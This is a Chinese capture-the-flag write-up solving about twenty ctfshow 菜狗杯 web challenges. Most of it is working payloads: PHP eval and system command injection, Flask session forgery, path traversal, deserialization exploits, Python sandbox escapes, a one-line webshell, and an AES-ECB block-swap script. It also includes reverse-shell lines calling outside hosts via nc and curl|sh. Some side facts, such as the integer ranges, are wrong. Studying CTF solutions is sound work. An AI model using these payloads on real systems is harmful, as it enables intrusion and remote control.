文章目录
- 菜狗杯 web签到
- 菜狗杯 web2 c0me_t0_s1gn
- 菜狗杯 我的眼里只有$
- 菜狗杯 抽老婆
- 菜狗杯 一言既出
- 菜狗杯 驷马难追
- 菜狗杯 TapTapTap
- 菜狗杯 Webshell
- 菜狗杯 化零为整
- 菜狗杯 无一幸免
- 菜狗杯 无一幸免_FIXED
- 菜狗杯 传说之下(雾)
- 菜狗杯 算力超群
- 菜狗杯 算力升级
- 菜狗杯 easyPytHon_P
- 菜狗杯 遍地飘零
- 菜狗杯 茶歇区
- 菜狗杯 小舔田?
- 菜狗杯 LSB探姬
- 菜狗杯 Is_Not_Obfuscate
- 菜狗杯 龙珠NFT
菜狗杯 web签到
先看题目,源码没东西,感觉像套娃一句话马。
先是cookie传参
再是POST传参
再是GET传参
再是REQUEST传参
最后是eval命令执行
具体的传参只可意会不可言传。。。。。
来源于羽师傅:
假如cookie中传入CTFshow-QQ群:=a那么就会出现$_POST['a'],假如post传入的值为a=b,那么就会得到$_GET['b'],接着假如get传入b=c就会得到$_REQUEST['c']。
而$_REQUEST就get、post都可以接收啦。
加入再get传入c=123那么前面这一部分($_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]])的值就是123了。
但是最终是需要通过数组下标的方式给到eval的。所以c传个数组就可以了
c[6][0][7][5][8][0][9][4][4]=system('ls');
注意点:中文要url编码掉;REQUEST可以接受任何传参方式,见下图。
payload:
CTFshow-QQ%E7%BE%A4:=c //COOKIE
c=b //POST
?b=a&a[6][0][7][5][8][0][9][4][4]=system('tac /f1agaaa'); //GET
菜狗杯 web2 c0me_t0_s1gn
先看题目,Ctrl+u一下
源码里面给了半个flag和hint
控制台提示运行方法g1ve_flag()
,运行完给了另外半个flag。
菜狗杯 我的眼里只有$
先看题目,都是马内。
extract ()
: 从数组中将变量导入到当前的符号表 。
extract($_POST);
: 将post上来的数据直接都解析成变量的形式,在代码中可以直接使用
变量覆盖题,总共36个$,写脚本吧。
import string
s = string.ascii_letters
t=""
for i in range(35):
t+="_"+str(i)+"="+"_"+str(i+1)+"&"
t+="_35"+'='+"RCEEE"
print(t)
#记得把前面的0去掉,RCEEE填命令哦
payload:
_=_1&_1=_2&_2=_3&_3=_4&_4=_5&_5=_6&_6=_7&_7=_8&_8=_9&_9=_10&_10=_11&_11=_12&_12=_13&_13=_14&_14=_15&_15=_16&_16=_17&_17=_18&_18=_19&_19=_20&_20=_21&_21=_22&_22=_23&_23=_24&_24=_25&_25=_26&_26=_27&_27=_28&_28=_29&_29=_30&_30=_31&_31=_32&_32=_33&_33=_34&_34=_35&_35=system('tac /f1agaaa');
菜狗杯 抽老婆
先看题目,嘶。
芙蓉白面,不过带肉骷髅;芍药红妆,乃是杀人利刃。 ----- 文昌帝君戒淫宝训
遇事不决抓个包,看见了session,session伪造试试。
现在就是找密钥了,顺便补充一下session知识。
如果Session是存储在我们本地的浏览器上的,我可以随时的获取到这个值,但是我们所获取的值是经过算法加密的。如果我们需要伪造这个Session值我们就需要进行session的解码,然后改变里面的一些值,再进行加密进而达到伪造的效果。 需要得到Cookie里面的session和密钥
网址+/download?file=…/…/…/app/app.py 相对路径读到源码。(任意文件下载漏洞)
密钥是:tanji_is_A_boy_Yooooooooooooooooooooo!
访问路径:/secret_path_U_never_know
NND,网上怎么没人教flask-session-cookie-manager-master怎么安装啊。后来自己解决了,直接拖进kali,桌面开终端,简单粗暴哈哈。
命令:
解密:python flask_session_cookie_manager3.py decode -s "密钥" -c “需要解密的session值"
payload:
python flask_session_cookie_manager3.py decode -s "tanji_is_A_boy_Yooooooooooooooooooooo\!" -c "eyJjdXJyZW50X3dpZmkiOiI3OTMxNWY2ZDg1NzA5NWJmOGU4Y2JkYjZlYzA0NTgzMC5qcGciLCJpc2FkbWluIjpmYWxzZX0.ZA9B-Q.4P4k3M2ZmpBp8ajAZibMhSsBuiM"
【记得!->\!】
加密:python flask_session_cookie_manager3.py encode -s "密钥" -t "需要加密的session值"
payload:
python flask_session_cookie_manager3.py encode -s "tanji_is_A_boy_Yooooooooooooooooooooo\!" -t "{'current_wifi': '79315f6d857095bf8e8cbdb6ec045830.jpg', 'isadmin': True}"
【记得!->\!】
session:eyJjdXJyZW50X3dpZmkiOiI3OTMxNWY2ZDg1NzA5NWJmOGU4Y2JkYjZlYzA0NTgzMC5qcGciLCJpc2FkbWluIjp0cnVlfQ.ZA9MFQ.MVfjVcYkoADwJI7zMthcUH9z7P4
拿到flag
菜狗杯 一言既出
先看题目,考察 intval ()
函数性质。
秒出
payload:?num=114514%2b1805296
也可以:?num=114514);// 利用闭合,感觉类似SQL注入
菜狗杯 驷马难追
先看题目,多了过滤,上题第一个payload能用。
菜狗杯 TapTapTap
先看题目,第十五关寄了,老老实实做题吧。
源码里面找到一个关键函数。(应该是通关一关的意思)
控制台多运行几次,flag就在这个地址里面。
菜狗杯 Webshell
先看题目,反序列化,不难。
shell_exec()
: 通过 shell 执行命令并将完整的输出以字符串的方式返回,类似于system()
exp:
<?php
class Webshell {
public $cmd = 'tac fl*';
}
$j17 = new Webshell();
echo serialize($j17);
echo urlencode(serialize($j17));
?>
payload:
?cmd=O:8:"Webshell":1:{s:3:"cmd";s:7:"tac%20fl*";}
菜狗杯 化零为整
先看题目, count($_ GET)
的意义是获取get的参数个数 ,$result=$result.$_ GET[$i]
:拼接字符串。
每次只能输入一个字符,汉字算两个字符。我们将大牛
URL编码%E5%A4%A7%E7%89%9B
,然后一个一个输入。
payload:
?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
菜狗杯 无一幸免
先看题目,又是PHP。仔细看,if里面是赋值(=),不是判断(==)。
payload:
?0=传啥都行
如果题目是==
payload:
?0=214748364 //使用数组整型溢出绕过赋值式“永真”
?0[]=1 //数组绕过
菜狗杯 无一幸免_FIXED
修复了哈,但是不是变成==了,if语句反了一下。
$arr[]=1 意思是给数组下一个下标赋值为1
数组下标上限为9223372036854775807(64位) ,2^63-1
payload:
?0=9223372036854775807 //数组下标溢出,要刚刚好,多了会截断,刚刚好时,经过$arr[]=1下标直接溢出,无法赋值。
菜狗杯 传说之下(雾)
先看题目,又是个前端小游戏。
改一下代码,然后Ctrl+s保存。吃个果子就行了,flag在控制台里面。
菜狗杯 算力超群
沙箱逃逸:Python Jail 沙盒逃逸 合集_Jay 17的博客-CSDN博客
先看题目。
育儿茶师傅说过: 一般碰到计算器就很容易和命令执行扯到一块。
抓包看看参数。GET传参提交我们要计算的数据,应该是在后端进行运算。然后返回。
把number2
整成长一点的字符串,导致报错,骗出部分后端源码看看。
/_calculate?number1=22&operator=*&number2=hsjakdhfkjsad
发现路径是/app/app.py
,python语言,用危险函数eval()
进行运算。这里我们使用沙箱逃逸,执行命令反弹shell。
vps起监听。
payload:
/_calculate?number1=1&operator=-&number2=1,__import__ ('os').system(' nc 120.46.41.173 9023 -e /bin/sh')
题目源码来自writeup:
# -*- coding: utf-8 -*-
# @Time : 2022/11/2
# @Author : 探姬
# @Forkfrom:https://github.com/helloflask/calculator
import re
from flask import Flask, jsonify, render_template, request
app = Flask(__name__)
@app.route('/_calculate')
def calculate():
a = request.args.get('number1', '0')
operator = request.args.get('operator', '+')
b = request.args.get('number2', '0')
m = re.match(r'^\-?\d*[.]?\d*$', a)
n = re.match(r'^\-?\d*[.]?\d*$', a)
if m is None or n is None or operator not in '+-*/':
return jsonify(result='Error!')
if operator == '/':
result = eval(a + operator + str(float(b)))
else:
result = eval(a + operator + b)
return jsonify(result=result)
@app.route('/')
def index():
return render_template('index.html')
@app.route('/hint')
def hint():
return render_template('hint.html')
if __name__ == '__main__':
app.run()
源码确实没对number2
进行正则匹配校验(re模块),所以number2
是沙箱逃逸唯一入手点。
菜狗杯 算力升级
沙箱逃逸:Python Jail 沙盒逃逸 合集_Jay 17的博客-CSDN博客
先看题目:
这次的传参形式略微有所变化。是POST提交,只有一个参数code
扫一下后台,扫出路由/source
,里面是源码。
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:算力升级--这其实是一个pyjail题目
"""
from flask import *
import os
import re,gmpy2
import json
#初始化全局变量
app = Flask(__name__)
pattern=re.compile(r'\w+')
@app.route('/', methods=['GET'])
def index():
return render_template('index.html')
@app.route('/tiesuanzi', methods=['POST'])
def tiesuanzi():
code=request.form.get('code')
for item in pattern.findall(code):#从code里把单词拿出来
if not re.match(r'\d+$',item):#如果不是数字
if item not in dir(gmpy2):#逐个和gmpy2库里的函数名比较
return jsonify({"result":1,"msg":f"你想干什么?{item}不是有效的函数"})
try:
result=eval(code)
return jsonify({"result":0,"msg":f"计算成功,答案是{result}"})
except:
return jsonify({"result":1,"msg":f"没有执行成功,请检查你的输入。"})
@app.route('/source', methods=['GET'])
def source():
return render_template('source.html')
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
审计源码可知,源码对于输入的限制是一个正则(re.match(r'\d+$',item)
),和一个查找(if item not in dir(gmpy2)
)。要求要么是数字,要么是gmpy2库中的函数(dir(gmpy2)中的内容)。
dir(gmpy2)
执行结果自己本地运行一下就好了,可用的函数挺多的。
在本地环境中试一下,发现gmpy2.__builtins__
是含有eval
函数的。
那我们的目标就是,让源码中的eval执行:
gmpy2.__builtins__['eval']("__import__('os').popen('tac /flag').read()")
只允许gmpy2
库中的函数,我们不能直接用eval
,那就间接用可用函数构造出eval
。这里使用字符串下标操作。
'erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]
==='eval'
手搓太长了,直接使用脚本:
s="__import__('os').popen('tac /flag').read()"
import gmpy2
payload="gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]("
for i in s:
if i not in "/'(). ":
temp_index=0
temp_string='x'*20
for j in dir(gmpy2):
if j.find(i)>=0:
if len(j)<len(temp_string):
temp_string=j
temp_index=j.find(i)
payload+=f'\'{temp_string}\'[{temp_index}]+'
else:
payload+=f'\"{i}\"+'
payload=payload[:-1]+')'
print(payload)
payload:
POST:
code=gmpy2.__builtins__['erf'[0]+'div'[2]+'ai'[0]+'lcm'[0]]('c_div'[1]+'c_div'[1]+'ai'[1]+'agm'[2]+'cmp'[2]+'cos'[1]+'erf'[1]+'cot'[2]+'c_div'[1]+'c_div'[1]+"("+"'"+'cos'[1]+'cos'[2]+"'"+")"+"."+'cmp'[2]+'cos'[1]+'cmp'[2]+'erf'[0]+'jn'[1]+"("+"'"+'cot'[2]+'ai'[0]+'cmp'[0]+" "+"/"+'erf'[2]+'lcm'[0]+'ai'[0]+'agm'[1]+"'"+")"+"."+'erf'[1]+'erf'[0]+'ai'[0]+'add'[1]+"("+")")
菜狗杯 easyPytHon_P
好家伙,直接给源码了。
分析源码,request.form.get
表示接受POST提交的参数,关键在于tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
逐个解析:
subprocess.run
:Python subprocess中的run方法 - ccorz - 博客园 (cnblogs.com)做题只需要知道这个函数的第一个参数是执行命令就行了。比如subprocess.run([‘ls’,‘/etc’,‘/’])就等价于ls /etc /。
cmd[:3]
:等价于cmd[0:3],表示cmd这个字符串的前三个字符。
__file__
:当前文件路径,如我本地运行是D:PycharmProjects\pythonProject\1.py。
cwd=os.getcwd()
:用于设置子进程的当前目录。os.getcwd()表示当前的目录,比如我本地是D:PycharmProjects\pythonProject,就是不包含当前文件的路径
subprocess.run
的第一个参数是[cmd[:3], param, __file__]
,我们可控
payload1:
POST:
cmd=cat¶m=flag.txt
payload2:
python中有一个awk命令,可以执行系统命令,长度刚好为3,格式为awk '{system("ls")}'
POST:
cmd=awk¶m={system("cat flag.txt")}
或者平台反弹shell
cmd=awk¶m={system("curl https://your-shell.com/ip:port|sh")}
菜狗杯 遍地飘零
源码直接给了
简单的变量覆盖,通过foreach()
函数实现。没有过滤,直接把$flag
的值赋给$_GET
就可以了。最后var_dump($_GET);
就是var_dump($flag);
payload:
?_GET=flag
有些刚刚入门的师傅可能会问一个我之前也问过的问题。为什么我们不能传参?zeros=flag
呢,这样不是代码执行后输出超全局变量$_GET
,里面有变量$zeros
,也能拿flag出来?
我们捋一下哈,传参?zeros=flag
确实可以使得代码中变量$zeros
等于变量$flag
。但是超全局变量$_GET
本身是一个数组(见下面一张图),也是代码中的一个变量,不主动修改的话$_GET
就储存了你输入的东西,以数组键值对形式储存。打个比方,你传参?a=b
,那么$_GET
的值就是array(1) { ["a"]=> string(1) "b" }
,里面的键a
的值就是你传入的值,传什么就是什么,键a
的值不会随着代码运行过程中改变了代码中变量$a
而改变。我们的操作是?_GET=flag
,这使得超全局变量$_GET
的值从原本储存传入参数键值对的数组变成了字符串$flag
的值(见上面一张图)。
菜狗杯 茶歇区
先看题目,感觉是整数溢出。
输入9999999999999999999999999999999999999999999999999999试试。
9223372036854775807 是 int64 上限。
顺便补充一点。
uint8 -> 0-255
uint16 -> 0-65535
uint32 -> 0-4294967295
uint36 -> 0-18446744073709551615
int8 -> -127-128
int16 -> -32768-32767
int32 -> -2147483648-2147483647
int64 -> -9223372036854775808-9223372036854775807
9323372036854775807 19位数
但是此时这里进行x10运算,溢出太多也没有用,所以我们需要传入18位数,这样刚好溢出
payload: 咖啡买932337203685477581个买两次
菜狗杯 小舔田?
源码直接给了。
简单的PHP反序列化,重点是Ion_Fan_Princess::call()
方法,直接输出flag。
链子如下:
Moon::__wakeup()->Ion_Fan_Princess::__toString()->Ion_Fan_Princess::call()
EXP:
<?php
class Moon{
public $name;
}
class Ion_Fan_Princess{
public $nickname;
}
$a=new Moon();
$a->name=new Ion_Fan_Princess();
$a->name->nickname="小甜甜";
echo urlencode(serialize($a));
payload:
?code=O%3A4%3A"Moon"%3A1%3A%7Bs%3A4%3A"name"%3BO%3A16%3A"Ion_Fan_Princess"%3A1%3A%7Bs%3A8%3A"nickname"%3Bs%3A9%3A"小甜甜"%3B%7D%7D
菜狗杯 LSB探姬
先看题目,看到上传点,应该是个文件上传的题目。
通过一些手段可以上传.php/.htaccess文件,但是上传后没有返回文件路径,无奈只能翻阅大佬wp复现
分析源码,发现它将文件名拼接到了cmd里,没有进行任何过滤,可以在文件后传入命令。
构造Payload:phartest1.jpg;cat flag.py
。
菜狗杯 Is_Not_Obfuscate
开题。
信息搜集,源码、扫目录、抓包一套下来,源码中发现了hint,有一个路由/robots.txt
。
访问路由
/lib.php //无果
/lib.php?flag=0 //无果
/plugins //无果
/lib.php?flag=1 //得到加密的源码
加密源码直接base64解不出来,根据源码中提示放首页解码。(记得url编码)
?input=加密源码的url编码&action=test
源码如下:
<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
@mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
echo 'Anything is good?Please test it.';
@eval(decode($_GET['input']));
}
ini_set('open_basedir', './plugins/');//设置PHP有权限读写的目录
if(!empty($_GET['action'])){
switch ($_GET['action']){
case 'pull':
$output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
echo "pull success";
break;
case 'push':
$input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
echo "push success";
break;
default:
die('hacker!');
}
}
?>
push
写马到文件,源码加密马后写入。pull
包含马,解密后包含。所以我们就直接写一句话马就去就行了。文件名是/plugins/
路由下的md5($_GET['output'].'youyou')
本地自己运行一下就知道是什么了。
写文件:
GET:
?action=push&output=<?php eval($_GET[1]);?>
payload:
GET:
?action=pull&input=d6e1f0ec8980b49f6061227495a77a44&1=system('tac /f1agaaa');phpinfo();
菜狗杯 龙珠NFT
开题。(感觉这个更加像是密码题。。。)
项目说明如下:
老板最近天天看web3.0、元宇宙、区块链、NFT什么的,回来跟我说这就是未来,看到别人卖元宇宙地皮,都快开心疯了,让我研发一个区块链龙珠雷达,但是我不会啊,随便搞点东西看起来像区块链就完事儿了。点击开始搜索进行搜寻,每人可以搜10次,用完了就没了。点击获取龙珠可以根据“龙珠地址”获取龙珠。点击查看库存可以看到现有龙珠库存,凑齐了你就可以许愿了。交易还没有做,找机会再说吧,反正抽中概率只有0.6%,也没人凑得齐。
源码如下:
# !/usr/bin/env python
# -*-coding:utf-8 -*-
"""
# File : app.py
# Time :2022/10/20 15:16
# Author :g4_simon
# version :python 3.9.7
# Description:DragonBall Radar (BlockChain)
"""
import hashlib
from flask import *
import os
import json
import hashlib
from Crypto.Cipher import AES
import random
import time
import base64
#网上找的AES加密代码,加密我又不懂,加就完事儿了
class AESCipher():
def __init__(self,key):
self.key = self.add_16(hashlib.md5(key.encode()).hexdigest()[:16])
self.model = AES.MODE_ECB
self.aes = AES.new(self.key,self.model)
def add_16(self,par):
if type(par) == str:
par = par.encode()
while len(par) % 16 != 0:
par += b'\x00'
return par
def aesencrypt(self,text):
text = self.add_16(text)
self.encrypt_text = self.aes.encrypt(text)
return self.encrypt_text
def aesdecrypt(self,text):
self.decrypt_text = self.aes.decrypt(text)
self.decrypt_text = self.decrypt_text.strip(b"\x00")
return self.decrypt_text
#初始化全局变量
app = Flask(__name__)
flag=os.getenv('FLAG')
AES_ECB=AESCipher(flag)
app.config['JSON_AS_ASCII'] = False
#懒得弄数据库或者类,直接弄字典就完事儿了
players={}
@app.route('/', methods=['GET'])
def index():
"""
提供登录功能
"""
@app.route('/radar',methods=['GET','POST'])
def radar():
"""
提供雷达界面
"""
@app.route('/find_dragonball',methods=['GET','POST'])
def find_dragonball():
"""
找龙珠,返回龙珠地址
"""
xxxxxxxxxxx#无用代码可以忽略
if search_count==10:#第一次搜寻,给一个一星龙珠
dragonball="1"
elif search_count<=0:
data={"code":1,"msg":"搜寻次数已用完"}
return jsonify(data)
else:
random_num=random.randint(1,1000)
if random_num<=6:
dragonball=一个没拿过的球,比如'6'
else:
dragonball='0'#0就代表没有发现龙珠
players[player_id]['search_count']=search_count-1
data={'player_id':player_id,'dragonball':dragonball,'round_no':str(11-search_count),'time':time.strftime('%Y-%m-%d %H:%M:%S')}
#json.dumps(data)='{"player_id": "572d4e421e5e6b9bc11d815e8a027112", "dragonball": "1", "round_no": "9", "time":"2022-10-19 15:06:45"}'
data['address']= base64.b64encode(AES_ECB.aesencrypt(json.dumps(data))).decode()
return jsonify(data)
@app.route('/get_dragonball',methods=['GET','POST'])
def get_dragonball():
"""
根据龙珠地址解密后添加到用户信息
"""
xxxxxxxxx#无用代码可以忽略
try:
player_id=request.cookies.get("player_id")
address=request.args.get('address')
data=AES_ECB.aesdecrypt(base64.b64decode(address))
data=json.loads(data.decode())
if data['dragonball'] !="0":
players[data['player_id']]['dragonballs'].append(data['dragonball'])
return jsonify({'get_ball':data['dragonball']})
else:
return jsonify({'code':1,'msg':"这个地址没有发现龙珠"})
except:
return jsonify({'code':1,'msg':"你干啥???????"})
@app.route('/flag',methods=['GET','POST'])
def get_flag():
"""
查看龙珠库存
"""
#如果有7颗龙珠就拿到flag~
@app.route('/source',methods=['GET','POST'])
def get_source():
"""
查看源代码
"""
if __name__ == '__main__':
app.run(host='0.0.0.0',port=80,debug=False)
正常去做,概率一颗是千分之六,没有可能集齐七龙珠。
分析代码,第一次肯定能找到龙珠。(这个没什么用)
6o4Pz9JnxiH6ghszzUQhlrajAkf7a+7l5WdxiZb4QufRSrrfzo+uWZzavKMHdGWhLVm30D6+5B6BHsmqXaPFNNH2Mu2xJMmAGrWQiW8tfd1GlMCDs+suNYmZMuJtLgOrsw770zGWx0FfSn43vYLbXaub4h9cKgKQDqIPSa86lHM=
继续看下去,我们输入龙珠地址源码中对应的应该是如下图。
输入地址后先base64解密,再AES_ECB
解密,本地拿第一次探索龙珠给的地址解个base64发现确实是AES_ECB
的密文。
切入点应该是这里,既然我们可以控制地址的传入,那我们就可以伪造地址,获得龙珠!
根据源码可知,address是用AES的ECB模式加密的,ECB模式一组密文对应一组明文,也就是说,可以通过改变密文的顺序从而改变解密后明文的顺序。
以十六位为一组分割,不足16用\x00
补齐。
AES_ECB
明文一致的时候,AES_ECB
密文也一致。
源码中给了一个AES_ECB
明文的例子:
按十六个一组分解开来
{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball":
"1", "round_no":
"9", "time":"2
022-10-19 15:06
:45"}
同一个用户前面4行应该都是一样的,如果去掉第5行变成:
{"player_id": "5
72d4e421e5e6b9bc
11d815e8a027112"
, "dragonball":
"9", "time":"2
022-10-19 15:06
:45"}
dragonball
从一开始的1变成了9,导致我们可控。只要dragonball
不为0我们就能获得龙珠。
官方exp脚本:
import requests
import json
import base64
import random
url='http://xxxxxxxxxxxxxxxxxxxxxx/'
s=requests.session()
username=str(random.randint(1,100000))
print(username)
r=s.get(url+'?username='+username)
responses=[]
for i in range(10):
r=s.get(url+'find_dragonball')
responses.append(json.loads(r.text))
for item in responses:
data=json.dumps({'player_id':item['player_id'],'dragonball':item['dragonball'],'round_no':item['round_no'],'time':item['time']})
miwen=base64.b64decode(item['address'])
round_no=item['round_no']
if round_no in [str(i) for i in range(1,8)]:
fake_address=miwen[:64]+miwen[80:]
fake_address=base64.b64encode(fake_address).decode()
r=s.get(url+'get_dragonball',params={"address":fake_address})
r=s.get(url+'flag')
print(r.text)